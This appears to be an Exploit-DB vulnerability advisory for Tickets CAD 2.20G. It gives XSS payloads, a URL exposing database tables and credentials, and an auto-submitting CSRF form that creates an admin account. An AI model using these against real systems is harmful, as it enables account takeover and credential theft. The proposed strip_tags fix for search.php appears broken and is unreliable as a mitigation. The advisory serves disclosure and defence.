Tickets CAD 2.20G Multiple Vulnerabilities

vendor:

Tickets CAD

by:

chap0 @_chap0

8,8

CVSS

HIGH

Reflective/Stored XSS, Information Disclosure and CSRF

79, 200, 352

CWE

Product Name: Tickets CAD

Affected Version From: 2.20G

Affected Version To: 2.20G

Patch Exists: YES

Related CWE: N/A

CPE: ticketscad:tickets_cad:2.20g

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Ubuntu

2012

Tickets CAD 2.20G Multiple Vulnerabilities

Tickets CAD 2.20G is vulnerable to multiple vulnerabilities including Reflective/Stored XSS, information disclosure and CSRF. While logged in even with the default guest/guest credentials, the guest user is able to store and execute arbitrary JavaScript code withing the application. Information disclosure also exist, the application does not properly check which user is currently logged in. Finally CSRF is also possible within the Tickets CAD application which allows an attacker to successfully add an admin account.

Mitigation:

The vulnerabilities can be prevented by using strip_tags.

Source

Exploit-DB raw data:

# Exploit Title: Tickets CAD 2.20G Multiple Vulnerabilities
# Date: Aug 4 2012 
# Exploit Author: chap0 @_chap0
# Vendor Homepage: http://www.ticketscad.org
# Software Link: http://www.ticketscad.org/downloads/Tickets_06_22_2012_V220G.zip
# Version: 2.20G
# Tested on: Ubuntu

Tickets CAD 2.20G is vulnerable to multiple vulnerabilities including Reflective/Stored XSS,
information disclosure and CSRF. While logged in even with the default guest/guest 
credentials, the guest user is able to store and execute arbitrary JavaScript code withing the 
application. Information disclosure also exist, the application does not properly check 
which user is currently logged in. Finally CSRF is also possible within the Tickets CAD 
application which allows an attacker to successfully add an admin account.


# Disclosure Time line
# Jun 30 2012 - Contacted vendor
# Jun 30 2012 - Vendor responds ask for details
# Jun 30 2012 - Sent vendor vulnerability details
# Jul 01 2012 - Vendor responds vulnerability sent to Dev team
# Jul 09 2012 - Email to vendors for an update on issues
# Jul 18 2012 - Dev team responds vulnerabilities will be fix in next release
# Jul 23 2012 - Email to Dev team ask for an update and when next release will be issued
# Aug 04 2012 - Dev team became unresponsive Public Disclosure

[+] A Reflective XSS vulnerability exist in the search function, search.php within the application

'><script>alert('XSS')</script>

[+] A Stored XSS vulnerability exist in log.php while creating a new log entry

'><script>alert('XSS')</script>


[+] Both of these vulnerabilities can be prevented by using strip_tags:

search.php fix is on line 88 vulnerability on 87

86 <?php 
87	//$post_frm_query = (array_key_exists('frm_query', ($_POST))) ? $_POST['frm_query']  : "" ;
88	$post_frm_query = (array_key_exists('frm_query', strip_tags($_POST))) ? $_POST['frm_query']  : "" ;



log.php fix is on line 148 vulnerable code on 147

146  case "add":
147	//do_log($GLOBALS['LOG_COMMENT'], $ticket_id=0, $responder_id=0, trim($_POST['frm_comment']));
148	do_log($GLOBALS['LOG_COMMENT'], $ticket_id=0, $responder_id=0, strip_tags(trim($_POST['frm_comment'])));
149	break;


[+] Information disclosure exist which allows users even the guest account to view the tables of the sql database.

If a user browses to: 

	http://<Server>/tables.php 

they are able to select which table within the database they wish to view including ALL users credentials.


[+] CSRF poc, the password must be in md5 format in order for this attack to work

<html> 
 <body onload="javascript:document.forms[0].submit()">
 <form method="POST" name="form0" action="http://127.0.0.1/config.php?func=user&add=true&go=true">
 <input type="hidden" name="frm_group[]" value="1"/>
 <input type="hidden" name="frm_user" value="chap0"/>
 <input type="hidden" name="frm_level" value="0"/>
 <input type="hidden" name="frm_responder_sel" value="0"/>
 <input type="hidden" name="frm_func" value="a"/>
<input type="hidden" name="frm_hash" value="916b5dbd201b469998d9b4a4c8bc4e08"/>
 <input type="hidden" name="frm_responder_id" value="0"/>
 </form>
 </body>
 </html>